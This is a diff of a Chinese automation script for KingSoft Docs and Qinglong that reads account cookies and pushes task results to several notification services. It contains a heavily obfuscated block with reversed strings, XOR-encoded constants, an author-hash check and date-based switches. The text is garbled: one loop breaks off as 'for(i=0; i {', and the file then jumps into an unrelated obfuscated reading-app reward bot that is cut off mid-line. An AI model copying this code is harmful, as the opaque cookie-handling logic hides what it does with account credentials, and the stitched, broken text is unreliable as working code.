+var flagPush = 0; // 激活推送工作表标志 +var line = 21; // 指定读取从第2行到第line行的内容 +var message = ""; // 待发送的消息 +var messageArray = []; // 待发送的消息数据,每个元素都是某个账号的消息。目的是将不同用户消息分离,方便个性化消息配置 +var messageOnlyError = 0; // 0为只推送失败消息,1则为推送成功消息。 +var messageNickname = 0; // 1为推送位置标识(昵称/单元格Ax(昵称为空时)),0为不推送位置标识 +var messageHeader = []; // 存放每个消息的头部,如:单元格A3。目的是分离附加消息和执行结果消息 +var messagePushHeader = pushHeader; // 存放在总消息的头部,默认是pushHeader,如:【xxxx】 +var version = 1 // 版本类型,自动识别并适配。默认为airscript 1.0,否则为2.0(Beta) +var separator = "##########MOKU##########" // 分割符,分割消息。可用于PUSH.js灵活推送 +var maxMessageLength = 400; // 设置最大长度,超过这个长度则分片发送 +var messageDistance = 100; // 消息距离,用于匹配100字符内最近的行 + +var jsonPush = [ + { name: "bark", key: "xxxxxx", flag: "0" }, + { name: "pushplus", key: "xxxxxx", flag: "0" }, + { name: "ServerChan", key: "xxxxxx", flag: "0" }, + { name: "email", key: "xxxxxx", flag: "0" }, + { name: "dingtalk", key: "xxxxxx", flag: "0" }, + { name: "discord", key: "xxxxxx", flag: "0" }, +]; // 推送数据,flag=1则推送 +var jsonEmail = { + server: "", + port: "", + sender: "", + authorizationCode: "", +}; // 有效邮箱配置 + +// =================青龙适配开始=================== + +// 艾默库青龙适配代码 +// v2.6.2 + +try{ + var userContent=[[")\u4E2A02\u8BA4\u9ED8(eikooc".split("").reverse().join(""),")\u5426/\u662F(\u884C\u6267\u5426\u662F".split("").reverse().join(""),")\u5199\u586B\u4E0D\u53EF(\u79F0\u540D\u53F7\u8D26".split("").reverse().join("")]];var configContent=[["\u5de5\u4f5c\u8868\u7684\u540d\u79f0","\u6CE8\u5907".split("").reverse().join(""),"\u53ea\u63a8\u9001\u5931\u8d25\u6d88\u606f\uff08\u662f\u002f\u5426\uff09","\u63a8\u9001\u6635\u79f0\uff08\u662f\u002f\u5426\uff09"],[sheetNameSubConfig,pushHeader,"\u5426","\u662f"]];var qlpushFlag=0xed2aa^0xed2aa;var qlSheet=[];var colNum=["\u0041",'B','C',"\u0044","\u0045",'F',"\u0047","\u0048","\u0049",'J','K','L','M','N',"\u004f","\u0050",'Q'];qlConfig={'CONFIG':configContent,"\u0053\u0055\u0042\u0043\u004f\u004e\u0046\u0049\u0047":userContent};var posHttp=0xee242^0xee242;var flagFinish=0x31353^0x31353;var flagResultFinish=0xc6811^0xc6811;var HTTPOverwrite={'get':function get(_0x8a99d9,_0x350907){_0x350907=_0x350907['headers'];let _0x1f12ec=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x8a99d9,{"\u006d\u0065\u0074\u0068\u006f\u0064":method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x350907})["\u0074\u0068\u0065\u006e"](function(_0x2c1fb0){return _0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + input = Range("D" + pos).Value2 + let url = "https://api.suyanw.cn/api/piaofang.php" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 签到结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i= 5 && nowhour <= 9) { + this.meal = "{\"meal_type\":0}"; + await this.eat(); + } else { + if (nowhour >= 11 && nowhour <= 14) { + this.meal = "{\"meal_type\":1}"; + await this.eat(); + } else { + if (nowhour >= 17 && nowhour <= 20) { + this.meal = "{\"meal_type\":2}"; + await this.eat(); + } else { + nowhour >= 21 && nowhour <= 24 && (this.meal = "{\"meal_type\":3}", await this.eat()); + } + } + } + } else { + if (_0x52f516.profit_desc == "签到" && _0x52f516.done_percent < 100) { + await this.signin(); + } else { + if (_0x52f516.profit_desc == "阅读5分钟" && _0x52f516.completed == false) { + nowhour >= 9 && nowhour < 10 && (this.ydsc = "5m", await this.readtime()); + } else { + if (_0x52f516.profit_desc == "阅读10分钟" && _0x52f516.completed == false) { + nowhour >= 10 && nowhour < 11 && (this.ydsc = "10m", await this.readtime()); + } else { + if (_0x52f516.profit_desc == "阅读30分钟" && _0x52f516.completed == false) { + nowhour >= 11 && nowhour < 